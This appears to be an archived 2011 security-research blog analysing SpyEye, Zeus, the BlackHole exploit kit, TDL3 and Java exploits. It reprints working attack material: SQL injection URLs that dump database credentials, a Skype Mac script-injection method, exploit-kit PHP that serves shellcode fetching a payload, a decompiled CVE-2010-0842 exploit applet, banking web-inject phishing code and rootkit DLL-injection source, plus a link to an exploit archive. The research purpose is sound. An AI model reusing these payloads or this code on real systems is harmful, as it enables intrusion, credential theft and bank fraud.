Monday, November 28, 2011

Commercial Crime International - Social Networks Article




"The advent of social networks has turned the online world into a virtual society. And whilst social networks serve as seamless communication channels, they are also an ideal launch pad for malware infections. There has been a tremendous increase in the dissemination of malware infections through social networks."

Checkout article in Commercial Crime International - ISSN 1012-2710

Saturday, November 26, 2011

Virus Bulletin - Formgrabbing on Fire

Botnets such as Zeus, SpyEye and others use the effective technique of form grabbing to steal sensitive information from victims’ machines. We are presenting the complete details of form-grabbing technique.

http://www.virusbtn.com/virusbulletin/archive/2011/11/vb201111-form-grabbing

Monday, October 17, 2011

BlackHole BEP + HP Scanner Infections

We have recently encountered a heavy set of email traffic spreading HP scanning email with non legitimate links. No doubt, this campaign is a traffic infection process by sending plethora of emails around the internet. It is not a big deal of getting email addresses nowadays. It is just a walk-around in the park for the phishers or attackers. This HP scanning email looks like as presented below

The only part that interests in giving a brief shot at this malware campaign is the usage of Java Exploits through BlackHole BEP.
The user is forced or tricked to visit a domain with URL hxxp://finance-motor.info/main.php which is further redirected to malicious domain hxxp://ahredret.ru/main.php. Now the URL, which is from russian domain with following information
domain: AHREDRET.RU
nserver: dns1.naunet.ru.
nserver: dns2.naunet.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
e-mail: mxx3@yandex.ru
registrar: NAUNET-REG-RIPN
created: 2011.10.06
paid-till: 2012.10.06
source: TCI

Last updated on 2011.10.17 20:35:46 MSK/MSD


The above presented information shows that this domain is activated and is recently accessed. The active time stamp shows that this is an active infection process. Without a doubt, the domain has port 80 and port 22 opened. The port 80 serves the BlackHole BEP and port 22 is for administration as shown below

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 1024 bb:d1:ae:ea:db:46:97:2a:09:ca:38:cc:50:47:9c:24 (DSA)

|_1024 39:1d:f5:8c:fa:ad:9c:02:a0:bf:db:9d:2a:24:73:bb (RSA)
80/tcp open http nginx


So, the next step is to try with wepawet but as expected the server did not respond well to the tool as presented below


The automated HTTP request/response and detection module did not work appropriately. At last, its all about manual analysis by setting an appropriate sandbox environment. We preferred to have a generic settings that provide malware an opportunity to expand and gives us the information that is required. So on performing manual testing carefully, we were served with exploit prototype as follows


The field.jar contains the following set of Java files



We have already performed analysis on this kind of exploit which is used effectively by the BlackHole (Java is what I like the most for spreading infections).

Fetch the code - http://www.secniche.org/sample_exploits/hp_scan_exploit.rar

Enjoy !

Thursday, September 29, 2011

Virus Bulletin - Browser Malware Taxonomy




Journal : http://www.virusbtn.com/virusbulletin/archive/2011/06/vb201106-browser-malware-taxonomy

We will be releasing more papers from Virus Bulletin, once we complete the three month time period from the date of publication. Its all about serving the contract.

Wednesday, August 31, 2011

Blasting SpyEye C&C - SQL Injection Wins

The world has changed dramatically with the evolution of malware. A similar set of vulnerabilities ( web attacks specific) such as SQL injection can be used to compromise the malware driven server. Some time ago, we talked about Blind SQL Injection in SpyEye Version 1.0 in which we presented about the vulnerability in the SpyEye code. Since then we dint get the time to present it as a complete case study. In this post, we are going to talk about the step by step approach to compromise the SpyEye database server. One can do lot of different attacks such as Local File Inclusion (LFI) there by reading the configuration credentials. However, we are sticking to the SQL injection to show how well we can inject and take control of malware server.

The vulnerability affects the latest version of spyeye (1.3) within "frmcp0/frm_findrep_sub2.php?id=". The good point is this SQL injection works right on the fly without any authentication.

Injection 1: Version Disclosure - http://spyeye_domain.com/frmcp /frm_findrep_sub2.php?id=-999999%20union%20all%20select%200x31,concat(0x7e,0x27,version()
,0x27,0x7e),0x33,0x34,0x35,0x36,0x37--+




You can see the injection is occurring in the title field. This suggests that our payload is getting injected. On similar testing pattern, let's perform some other set of injections as presented below

Injection 2: Database Verification - http://spyeye_domain.com/frmcp0/frm_findrep_sub2.php?id=-999999%20union%20all%20select%200x31,concat(0x7e,
0x27,database(),0x27,0x7e),0x33,0x34,0x35,0x36,0x37--+




Injection 3: Information Schema Disclosure -
http://spyeye_domain.com/frmcp0/frm_findrep_sub2.php?id=-999999 union all select 0x31,concat(0x7e,0x27,group_concat(column_name),0x27,0x7e),0x33,0x34,0x35,0x36,0x37 from `information_schema`.columns where table_schema=0x6d7973716c and table_name=0x75736572--+


The disclosed schema is as follows

Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,
Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,
Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,
Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,
Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,
Alter_routine_priv,Create_user_priv,ssl_type,ssl_cipher,x509_issuer,
x509_subject,max_questions,max_updates,max_connections,max_user_connections


Injection 4: Pwning MySQL Database - http://spyeye_domain.com/frmcp0/frm_findrep_sub2.php?id=-999999 union all select 0x31,concat(0x7e,0x27,user.User,0x3a,user.Host,0x3a,user.Password,0x27,0x7e)
,0x33,0x34,0x35,0x36,0x37 from `mysql`.user limit 0,1--+




So this discussion has proved the fact that security vulnerabilities can be fruitful in hunting back malware. We will be giving a detailed talk on Hunting Web Malware at OWASP and Hacker Halted this year.

OWASP AppSec USA - http://www.appsecusa.org/talks.html#goodhacker

Hacker Halted : http://www.hackerhalted.com/2011/Presenters.aspx


Stay tuned.

Sunday, August 7, 2011

SpyEye - RDP BackConnect Plugin and Total Commander

Well, malware has many facets and there is no doubt in that. In this post, we are going to raise a point about the SpyEye RDP back-connect plugin and its working. During out talk at Hack In The Box (HITB) - AMS, we presented about the details of SpyEye botnet and its ability to work with modular plugins. The RDP plugin in SpyEye works on the same benchmarks as FTP and SOCKS.

Generally, the bot is compiled up with different plugins. The RDP plugin starts a dynamic server on the client machine where the bot is installed. From the victim machine, the bot connects back to main server over RDP. The plugin is well equipped enough to create a hidden user in the victim machine and this account is used to for back server connections. However, this plugin is good enough to allow the remote command server to execute commands on victim machine using RDP.

In addition, the SpyEye bot downloads the portable version of Total Commander from the internet and execute it in the memory on the fly. The beauty of this plugin is that it does not require any system restart when Total Commander is downloaded and installed into the victim machine.



The plugin requires following environmental variables in order to specify the required information for plugin execution

%IP_OF_BC_SERVER%
%PORT_OF_BC_SERVER%
%MAGIC_CODE%
%WINDOWS_LOGIN%
%WINDOWS_PASSWORD%
%URL_TO_PORTABLE_TCMD%


The connection to the bot can be performed using standard Windows tool mstsc.exe Remote Desktop Connection:. It has also been observed that this plugin support only x86 OS and not x64 architectures. In the coming time, hopefully this will be released too.

Tuesday, August 2, 2011

Virus Bulletin - SpyEye Exploitation Tactics

As a follow-up to our article on the SpyEye malware infection framework, we are discussing the SpyEye bot and the tactics it uses for stealing information from victim machines.

Fetch the paper from here : http://www.virusbtn.com/virusbulletin/archive/2011/08/vb201108-spyeye

Right now available for subscribers only.

Sunday, July 3, 2011

(SpyEye & Zeus) Web Injects - Parameters

We are in the process of analyzing the enormous set of web injects log and real client side code. During analysis, we found that third generation botnets (Zeus and SpyEye) use an explicit technique of injecting rogue content in the web pages of bank websites. The content is injected as inline but the plugins that are used to complete this process follows a certain set of parameters and procedure. In this post, we are going to talk about the metrics that are used to perform web injects successfully. The plugin communicates with installed bot on client side and a specific steps are followed as a part of hierarchical infection in order to trick the browser.

The installed bot understands the following parameters

1. set_url [Target to inject]
The set_url parameter instantiates an object which points to the website which is aimed for web injects. The bot uses this parameter to scan through the HTTP requests for possible match of the website so that injection can be done.

2. data_before / data_end
These parameters are used to set the injection code in an appropriate manner so that HTML code looks fine and does not show broken tags. Generally, these parameters define the base of web inject because the injected data comprises of the HTML tags to be injected before the main injection. Further, "data_before / data_end" also points before which HTML tag the data is required to be injected.

3. data_inject | data_end
These parameters are the main killing part in which the real web injects are placed. The rogue or non legitimate JavaScript/HTML code is set in these parameters which is injected in the legitimate bank website or any proprietary financial web site.

4. data_after | data_end
These are last set of parameters which are used to complete the web injects by placing requisite HTML tags at the end of web injects code. Again the purpose is to render the HTML code successfully and inline with the main webpage of website.

These collective set of parameters can also be used to inject multiple code in the target website.

One of the real time injected code is presented below
set_url https://target_website/login.html* GP
data_before
name="password"*[/tr]
data_end
data_inject
[TD][FONT class=userinfo] What is your favourite meal or restaurant? [/FONT][/TD]
[TD align=left width=200][INPUT tabIndex=1 name=q1] [/TD][/TR]
[TD][FONT class=userinfo] The name of a memorable place to you? [/FONT][/TD]
[TD align=left width=200][INPUT tabIndex=1 name=q2] [/TD][/TR]
[TD][FONT class=userinfo] Your favourite film of all time? [/FONT][/TD]
[TD align=left width=200][INPUT tabIndex=1 name=q3] [/TD][/TR]
[TD][FONT class=userinfo] Your favourite book of all time? [/FONT][/TD]
[TD align=left width=200][INPUT tabIndex=1 name=q4] [/TD][/TR]
[TD][FONT class=userinfo] Your favourite teacher or subject? [/FONT][/TD]
[TD align=left width=200][INPUT tabIndex=1 name=q5] [/TD][/TR]
[TD][FONT class=userinfo] Your favourite TV star or show? [/FONT][/TD]
[TD align=left width=200][INPUT tabIndex=1 name=q6] [/TD][/TR]

data_end
data_after
data_end


data_before
var cusID*;
data_end
data_inject


if (document.forms[0].q1.value.length < 2) {
alert('Please, fill answers to all questions');
document.forms[0].q1.focus();
document.forms[0].loginButton.disabled = false;
submitActioned = false;
return false;
}
if (document.forms[0].q2.value.length < 2) {
alert('Please, fill answers to all questions');
document.forms[0].q2.focus();
document.forms[0].loginButton.disabled = false;
submitActioned = false;
return false;
}
if (document.forms[0].q3.value.length < 2) {
alert('Please, fill answers to all questions');
document.forms[0].q3.focus();
document.forms[0].loginButton.disabled = false;
submitActioned = false;
return false;
}
if (document.forms[0].q4.value.length < 2) {
alert('Please, fill answers to all questions');
document.forms[0].q4.focus();
document.forms[0].loginButton.disabled = false;
submitActioned = false;
return false;
}
if (document.forms[0].q5.value.length < 2) {
alert('Please, fill answers to all questions');
document.forms[0].q5.focus();
document.forms[0].loginButton.disabled = false;
submitActioned = false;
return false;
}
if (document.forms[0].q6.value.length < 2) {
alert('Please, fill answers to all questions');
document.forms[0].q6.focus();
document.forms[0].loginButton.disabled = false;
submitActioned = false;
return false;
}

data_end
data_after
data_end


These examples clarify the fact that how exactly the web injects code works and is rendered in the webpages by the installed bot.

SpyEye Malware Infection Framework - VB


We have just release the first part of our research on SpyEye in Virus Bulletin Magazine. The next part of the research will be coming soon.

VB - SpyEye Malware Infection Framework

Sunday, June 19, 2011

ToorCon Seattle 2011 - Browser Exploit Packs

We gave a talk at ToorCon about the high level details of BlackHole. We will be releasing more details and complete talk in the upcoming conferences that are scheduled later this year.

Monday, June 13, 2011

Botnet Resistant Coding - HITB


Web malware infections are proliferating, and the online banking industry has become the hottest target. Stealthy bots play a critical role in the success of these attacks. In this paper,we propose a new approach to mitigating the impact of botnet infections.

Refer: HackInTheBox Paper

Saturday, June 4, 2011

Chrome Form Grabber - No One is Secure

All third generation botnets have specific functionality of grabbing content in the forms present in the web pages. Bots take control of victim machines and use the concept of key-logging to steal data. It depends a lot on the browser architecture and design; how effective the form grabbing technique is applied. This is because malware needs to have full control of the sockets interface and the dependent modules on it. For example:- Internet Explorer uses WININET.dll and Mozilla uses NSPR4.dll. For these browsers, well designed form grabbing key-loggers have been seen in the wild. Zeus and SpyEye bots have inherited functionality that supports form grabbing in IE and Firefox. However, very less infections have been noticed in Google Chrome considering this functionality. This is because Google Chrome architecture is different from other browsers and the low level HTTP request/response handling is done in a bit different way. The question is the possibility of hooking Google Chrome socket interfaces in order to take control of the data that in POST and GET requests mainly. For security reasons, critical data is sent using POST in forms. That's a generic fact.

Google Chrome does not use WININET interface to communicate with the server. Google Chrome introduced the support of Web Sockets in order to avoid the complexities of asynchronous communication using XMLHttpRequest (XHR). Web sockets provide an ease of bidirectional communication.

The truth is Google Chrome has also fallen into the hands of predators. Our team has noticed and found traces of effective Google Chrome form grabber that performs incessant hooking into chrome.cpp network interface functions in order to capture all the data and URL to which request is sent. It means, in the coming time we will see bots equipped with robust Google Chrome form grabbing (SpyEye is already started) functionality. Let's have a walk around

1. In first step, Google Chrome PID is detected.

2. The PID maps to Google Chrome executable file (chrome.exe) on the hard disk present in the users directory in order to control the path of the application.

\Device\Hard Disk Volume1\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome\Application\chrome.exe

3. The hook module initiates a callback function which is supposed to capture and store the information coming back from forms. The hook is installed in the chrome.exe and injection is initiated. When a user opens a gmail account page and submits data to server, the hook module executes callback function which retrieves the URL and POST/GET parameters before sending it to the server.

4. In order to execute the hook successfully, all the previous Object Entry Points (OEP's) are flushed and new OEP is initiated for different domains.

5. NT_Resume_Thread call is used effectively in the hook procedure and it seems that related hooked functions are found and called during run time based on patterns.

The below presented screenshot shows the debug layout of Google Chrome formgrabber




Nothing is secure as it is proclaimed to be. Welcome Google Chrome to the malicious world?

Thursday, June 2, 2011

Virus Bulletin - Browser Malware Taxonomy

In this paper, we propose a taxonomy of browser malware.We classify browser add-ons, emphasizing their privileges. Since privileges impact the capability of malware, we use the resulting classification as a basis for our taxonomy. We hope that this taxonomy will provide better insight into the techniques and tactics used by browser malware, and assist in the development of defences.

Subscribers : A Browser Malware Taxonomy

Enjoy!

Friday, May 20, 2011

HackInTheBox AMS - Spying on SpyEye

We presented a talk regarding our research on SpyEye at HackInTheBox security conference. Thanks to Rohit for all his support and working with me on this research.



You can fetch the presentation from HackInTheBox Security Conference Website.

Tuesday, May 10, 2011

DoD CrossTalk - Browser UI Design Flaws

We have just published "Browser UI Interface Design Flaws" paper in Department of Defense CrossTalk Journal. Have a nice read.

Saturday, May 7, 2011

Skype IM (MAC OS X) - Is this the 0day ?


Recently, we have came across about the news on SKYPE 0 DAY that results in remote exploitation on MAC OS. However, we have also discovered the same pattern of vulnerability in Skype two months ago. Due to testing reasons, we were not indulged in the process of reporting it to vendor because we were looking at the malware paradigm related to this vulnerability(whether it can be exploited to download malware in MAC OSX).


Firstly, we are not sure whether the researchers are talking about the same vulnerability.
This is because we have seen the news but the vulnerability details are missing everywhere. So our team thought to take a step in this direction. We are presenting the details of the vulnerability that we discovered in Skype running over MAC OS.

Discussion:
JavaScript is used extensively in all web related platforms. Skype application on MAC OS uses JavaScript too (most of the chatting client uses that, so not a big deal). This vulnerability does not impact the Skype running over windows and Linux. Skype fails to instantiate between the payloads that are sent as hyperlinks in the chat window. Only the legitimate users in the client list of victim can exploit it. The attacker only requires a definitive payload to exploit this issue. Basically, we call it as a Skype Remote Scripting (Injection).

Working:
In order to trigger this vulnerability, you need to find a vulnerable website that can be used as an agent to send our payload. For example: attacker can use third party vulnerable website to trigger scripting injection in Skype (MAC OS). Generally, certain truth prevails as follows

1. If an attacker sends a remote script payload as [script]alert(document.location);[script];skype filters this injection on chat engine which is quite normal. We have used square brackets (for representation) but for real injections one has to use angle brackets as XSS payloads.

2. Skype(MAC OS) fails to filter the injection in which payload is sent as a part of third part vulnerable website hyperlink as follows
http://www.vulnerablewebsite.com/index.php?url=[script]alert(document.location);[script]

A = http://www.vulnerablewebsite.com/index.php?url=
B = [script]alert(document.location);[script]


Skype fails to treat it as one hyperlink as (A+B). As a result, B part executes in the context of Skype(MAC OS) thereby resulting in remote scripting in the skype.


3. Attacker can use DOM injections to write arbitrary content in the chat window. There can be advanced variations of it.

4. We know MAC runs applications with extensions .app, it is possible to download malicious applications through skype. One can also trigger Safari automatically using DOM calls such as "window.open".

5. This vulnerability does not require any user interaction and runs payload directly. One has to be careful because it can execute content in both chat windows if an attacker and victim is using Skype (MAC OS). Attacker can use Skype on Windows and Linux in order to execute this attack.

Some of the POC's are presented in the below mentioned snapshots which supports the execution of this vulnerability.

Injection 1:



Injection 2:


Injection3:


This is really devastating from security point of view. All the versions before 5.1.0.922 are vulnerable. However, we still think the variation of this type of issues are possible and vulnerable versions can be exploited differently. Since it is executing scripts , we can say that this vulnerability can be used in worm infections.

Is this the 0day Skype Bug? Let see what the other researchers release.

Wednesday, May 4, 2011

Finest 5 - Java Exploits on Fire

Since the origin of browser exploit packs, we have noticed a serious change in the effectiveness of exploitation ratio due to origin of critical vulnerabilities. However, we have noticed and observed recently about the explicit use of Java vulnerabilities by Browser Exploit Packs (BEP's). Java has become the most prominent exploitation vector now a days. BEP's such as BlackHole and Phoenix are using Java exploits explicitly for triggering infections. Consequentially, the highest infection rate is an outcome of these Java exploits.

Java being platform independent is the preferred choice of attackers in order to attack victim machines. The Java exploits that are on fire are as follows

1. Sun Java Runtime Environment Trusted Methods Chaining Remote Code Execution Vulnerability (CVE-2010-0840)

2. Java JRE MixerSequencer Invalid Array Index Remote Code Execution Vulnerability
(CVE-2010-0842) | Java JMF MIDI

3. Java Unspecified vulnerability in the Java Deployment Toolkit component in Oracle Java SE (CVE-2010-0886)

4. Sun Java Runtime RMIConnectionImpl Privileged Context Remote Code Execution Vulnerability (CVE-2010-0094) | Java RMI

5. Java argument injection vulnerability in the URI handler in Java NPAPI plugin (CVE-2010-1423)


The latest addition to Java exploit is CVE-2010-4452 which presents a flaw exists within the findClass method of the sun.plugin2.applet.Applet2ClassLoader class.

Serving these exploits are quite easy by simply pushing Jar file as follows

[object id="java_obj" classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" width="0" height="0"]
[PARAM name="launchjnlp" value="1"]
[PARAM name="docbase" value="]
[/object]
[embed type="application/x-java-applet" width="0" height="0" launchjnlp="1" docbase="';

include '../config.php';
include '../include/shellcode.php';
$shellcode = shellcode_dl_exec ($config_url . '/drop.php?e=Java-2010-0842');
$rmf = 'IREZ' . 'SONGmSËm' . ' ' . '' . '' . 'ITLŸ±Âµ
~ûpÅ“†Ã¾°5' . '“â^Þ÷' . 'ÿ' . '' . '8ÿ ÉPQRSVW' . $shellcode;
header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header ('Cache-Control: no-cache');
header ('Pragma: no-cache');
header ('Accept-Ranges: bytes');
header ('Content-Length: ' . strlen ($rmf) . '');
header ('Content-Disposition: inline; filename=midi20100842.rmf');
header ('');
header ('Content-Type: application/x-msdownload');


So we cannot ignore the easiness of spreading malware by exploiting Java vulnerabilities. For example consider the below stated exploit trigger

include_once 'config.php';
echo ' [Applet Code="ToolsDemo.class" archive="';
echo $config_url . '/exploits/Java-2010-0842.jar';
echo '" width="0" Height="1"]
[PARAM NAME="URL" VALUETYPE="ref" VALUE="';
echo $config_url . '/exploits/Java-2010-0842Helper.php';
[/applet]';


On decompiling Java-2010-0842.jar, we get
import java.applet.Applet;
import java.io.*;
import javax.sound.midi.*;
public class ToolsDemo extends Applet
{
public ToolsDemo(){}

public void init()
{
String s = getParameter("URL");
try
{
InputStream inputstream = getClass().getResourceAsStream(s);
ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream();
byte abyte0[] = new byte[1024];
int i;
while((i = inputstream.read(abyte0)) != -1)
bytearrayoutputstream.write(abyte0, 0, i);
ByteArrayInputStream bytearrayinputstream = new ByteArrayInputStream(bytearrayoutputstream.toByteArray());
ToolsDemoSubClass toolsdemosubclass = new ToolsDemoSubClass();
javax.sound.midi.MidiDevice.Info ainfo[] = MidiSystem.getMidiDeviceInfo();
MidiDevice mididevice = MidiSystem.getMidiDevice(ainfo[0]);
Sequencer sequencer = null;
sequencer = (Sequencer)mididevice;
sequencer.open();
sequencer.setSequence(bytearrayinputstream);
sequencer.addControllerEventListener(toolsdemosubclass, new int[] {
0
});
sequencer.start();
}
catch(Exception exception) { }
}

public String getAppletInfo(){return "Tools Demo";}
}


Something is really on fire :)

Tuesday, May 3, 2011

Firefox Fake AV Alerts - Malware Trigger


Malware writers are opting aggressive techniques to infect users with malicious programs. Browsers are always been the prime exploitation paradigm. What else could be better than Anti Virus Alerts in browsers? Recent trend encompasses manipulation of Firefox(supporting other browsers too) in order to trigger malicious AV alerts there by forcing user to download malicious executable. For security researchers, detecting these alerts are not that hard task. However, normal users find themselves in havoc from the fear of being infected when they face these malicious alerts. Infact, this process exploits the ignorance or one can say fear of users by social engineering tricks. In order to remove malware from system (fake alert notifications) users intentionally install malicious program on their machines.

Generally, these alerts are not browser specific rather browser independent. It is also possible that these alerts trigger only when User Agent Based Fingerprinting (USBF) is done . There are many scenarios. The below presented snapshot shows how Firefox is manipulated



On successful scans, it alerts lot of security issues for the presence of trojans, backdoors and rootkits etc. Despite of the hilarious fact that, your system level AV engine stays calm. Well, visualization of threats have its own implication. On completion of scans, these alerts force users to install following file (specific for domain we are analyzing)


Further, Mozilla inbuilt bad site reporting service works collectively with stopbadware.org. Firefox uses redirection to redirect user to the legitimate domain (stopbadware.org) on ignoring the warning. That is something we all know.

[REQUEST]
GET /?hl=en-US&url=http%3A%2F%2Fupdate82.sashrod.ce.ms%2Findex.php%3FQ1Xhk9SJbYJGPXpjM%2
FtL5is7E974ZjcioT7yKQchpNjVUC%2B1hEwpaVGuq1zgdVqksMShxC9dHBs
2rpwYqQjCVkTeZbDJDe1pKU0ChURY HTTP/1.1
Host en-us.malware-error.mozilla.com
User-Agent Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 ( .NET CLR 3.5.30729; .NET4.0C)
Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language en-us,en;q=0.5
Accept-Encoding gzip,deflate
Accept-Charset ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive 115
DNT 1
Connection keep-alive


[RESPONSE]

(Status-Line) HTTP/1.1 302 Found
Date Tue, 03 May 2011 22:28:08 GMT
Server Apache
X-Backend-Server pm-web02
Location http://www.stopbadware.org/firefox?hl=en-US&
url=http%3A%2%2Fupdate82.sashrod.ce.ms%2Findex.php%3FQ1Xhk9SJbYJGP
XpjM%2FtL5is7E974ZjcioT7yKQchpNjVUC%2B1hEwpaVGuq1zgdVqksMS
hxC9dHBs2rpwYqQjCVkTeZbDJDe1pKU0ChURY
Content-Length 394
Keep-Alive timeout=20, max=996
Connection Keep-Alive
Content-Type text/html; charset=iso-8859-1

This discussion clearly indicates the fact that how badly browsers are getting manipulated. Consequentially, browsers are always at stake so do users despite of our protection efforts.

Monday, May 2, 2011

Reverse Hijacking Web AV Engines

Web anti virus engines are used explicitly to perform behavioral analysis on the active malware. Is it possible for us to run some controlled binary in order to trace all the information of cloud infrastructure of virtual machines that collaboratively perform analysis of malicious executables? We have proved that in the past it is possible to hijack (information extraction) from the hidden servers in the cloud used for malware analysis.

The technique discussed in the white-paper can be used in different scenarios in order to trick internal vmware servers to steal sensitive information and there by attacking in return. Goodwill Hunting :)



Reverse hacking proves beneficial in many scenarios.

Saturday, April 30, 2011

TDL3 Rookit Implicit Analysis (Part 2)

In our last post about TDL rootkit, we discussed about the some of the generic features of TDL rootkit. As we know, all of the rootkits somewhat use DLL Hijacking technique. Same is true with TDL rootkit too. DLLInject function is presented below.

Generally, this function use is designed in TDL rootkit to load the malicious or systems specific DLL directly from the path defined (*pcDll!='\\'). The malicious DLL can be loaded from the root directory of TDL rootkit. If no path is provided then it uses the explicit path define in the parameter cDllRealFormat[]=. After this, the code tries to find the unique process identifier of the process and not the process handle as specified in the parameter cidProcess.UniqueProcess=hProcessID;. "ZwOpenProcess" functions opens the specific process and virtual memory is allocated using "(ZwAllocateVirtualMemory". By using KeStackAttachProcess the module attaches the current thread to the address space of the target process. After copying the real path "pcDllReal" to the memory. As soon as this is completed, KeUnstackDetachProcess routine detaches the current thread from the address space of a process and restores the previous attach state.


NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)
{
HANDLE hProcess;
OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
CLIENT_ID cidProcess;
PVOID pvMemory=0;
DWORD dwSize;
CHAR cDllReal[MAX_PATH];
CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};
PCHAR pcDllReal;

if(*pcDll!='\\') {
dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,
GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;
pcDllReal=cDllReal;
}
else {
pcDllReal=pcDll;
dwSize=strlen(pcDll)+1; }

cidProcess.UniqueProcess=hProcessID;
cidProcess.UniqueThread=0;
if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))
{

if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,
MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))
{
KAPC_STATE kasState;
PKAPC pkaApc;
KeStackAttachProcess(pepProcess,&kasState);
strcpy(pvMemory,pcDllReal);
KeUnstackDetachProcess(&kasState);
pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
if(pkaApc!=0)
{
KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,
APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);
KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
}
ZwClose(hProcess); }
return STATUS_NO_MEMORY;}


This module is used directly in conjunction with WIInjector in order to complete DLL injection. The WIInjector code is somewhat works as follows

VOID WIInjector(PVOID pvContext)
{
CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;
CHAR cSection[]=TDL_CONFIG_INJECTOR;
CHAR cDll[MAX_PATH];
CHAR cSection2[]=TDL_CONFIG_MAIN;
CHAR cKey[]={'d','a','t','e',0};

DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);
DWORD dwCurrent;

LARGE_INTEGER liTime;
KeQuerySystemTime(&liTime);
RtlTimeToSecondsSince1970(&liTime,&dwCurrent);
//CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};
//DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);

//if(dwCurrent-dwDate>=60*24*60)
{
DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);
if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))
{
DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
}
if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer
(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,
cDll,sizeof(cDll)))
{
DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); }
}
KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);
return;
}


In the above presented code, TDL uses a specific configuration file in order to load
information such as PID from parameters as "cAny[]=TDL_CONFIG_INJECTOR_ANY";"cSection[]=TDL_CONFIG_INJECTOR;". It uses explicit time functions in order to trigger infection. "TDLIniReadString" is a custom designed module which is a part of TDL rootkit library. The DLLInject function is called when current date is verified as (dwCurrent-dwDate>=60*24*60). After this WIInjector is triggered as a part of "APCInjectRoutine"

VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)
{
WI_INJECT wiiItem;

ExFreePool(pkaApc);
wiiItem.pktThread=KeGetCurrentThread();
wiiItem.pepProcess=IoGetCurrentProcess();
wiiItem.hProcessID=PsGetCurrentProcessId();
KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);
ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);
ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);
KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);
return;
}


The discussion will remain continue in the next posts..
..

Wednesday, April 27, 2011

SQLXSSI - Persistent Malware Base

With the advent of new and sophisticated malware, the modes of infection has become more efficient from previous times. The spreading of web malware takes place through web vulnerabilities which further impacts the browser interface to drop malware. Reflective XSS vulnerabilities are exploited heavily to spread malware. In last year OWASP AppSec USA conference, we presented SQLXSSI technique which has become the preferred choice of attackers to infect databases with malicious iframes and payloads.

This technique is opted to conduct mass SQL injection attacks because infecting database tables result in easy spreading of malicious content across different domains because of content sharing.

It is quite a different from persistent nature of XSS because in SQLXSSI, the attacker wants to update the database table with encoded output and it remains there for long period of time. When an application, runs a specific query in the database, the payload is decoded and renders in the browser. In persistent XSS injections, payloads are passed as direct data which may or may not be stored in the database but it becomes persistent in web pages. Further, no SQL injection vulnerability is exploited.

In SQLXSSI, SQL injections (Direct+Blind) are used explicitly by the attacker to inject payloads in the database in the raw format. It is retrieved back from the database based on the application design and in which tables attacker has injected the payloads.

Predominantly, one vulnerability is used to trigger another which ultimately results in spreading malware. This content can be retrieved by any resources which are using the database of infected website. For example: the below presented figure shows the presence of malicious scripts inside the PDF



This PDF document is actually generated from print.asp page which fetches some content from the database, in this case it is infectious. However, our discussion in this example adheres to the way data is shared among different resources and how infectious can SQLXSSI attacks be.

Saturday, April 16, 2011

TDL3 Rootkit - Implicit Analysis (Part 1)


